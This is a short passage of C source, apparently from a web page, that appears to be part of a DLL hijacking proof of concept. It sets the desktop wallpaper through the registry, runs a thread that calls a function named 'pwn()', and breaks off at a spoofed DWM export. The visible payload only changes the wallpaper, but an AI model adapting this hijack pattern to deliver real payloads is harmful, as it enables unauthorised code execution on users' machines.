0,
                       KEY_ALL_ACCESS,
                       NULL,
                       &amp;handle,
                       &amp;dwDisp);
    RegSetValueExW(handle, L&quot;Wallpaper&quot;, 0, REG_SZ, (LPBYTE)tempdir, wcslen(tempdir)*sizeof(wchar_t));
    RegCloseKey(handle);

    SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, (PVOID)tempdir, SPIF_UPDATEINIFILE|SPIF_SENDCHANGE);
    return 0;
}

DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
        pwn();
        return 0;
}

DllExport void DwmIsCompos